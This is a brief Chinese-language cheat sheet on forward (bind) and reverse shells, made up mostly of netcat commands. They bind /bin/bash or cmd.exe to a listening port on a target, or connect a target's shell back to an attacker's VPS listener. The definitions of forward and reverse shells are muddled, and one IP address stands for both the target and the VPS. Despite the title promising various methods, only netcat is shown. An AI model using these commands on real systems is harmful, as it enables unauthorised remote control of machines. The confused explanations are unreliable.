各种反弹shell方法总结备忘

各种反弹shell方法总结

shell分为两种，一种是正向shell，另一种是反向shell。如果客户端连接服务器，客户端主动连接服务器，就称为正向shell。如果客户端连接服务器，服务器想要获得客户端的shell，就称为反向shell。
反向shell通常在开启了防护措施的目标机器上，例如防火墙、端口转发等。
（1）正向shell
输入如下命令，监听目标主机的4444端口

nc -lvp 4444 -e /bin/bash // linux  
nc -lvp 4444 -e c:\windows\system32\cmd.exe // windows

在本地或vps主机上连接目标的4444端口，即可获得目标主机的shell

nc 192.168.174.130 4444

（2）反向shell
输入如下命令，在本地或者vps主机上监听9999端口

nc -lvp 9999

在目标主机中输入如下命令，连接vps主机的9999端口

nc 192.168.174.130 9999 -e /bin/sh // linux
nc 192.168.174.130 9999 -e c:\windows\system32\cmd.exe // windows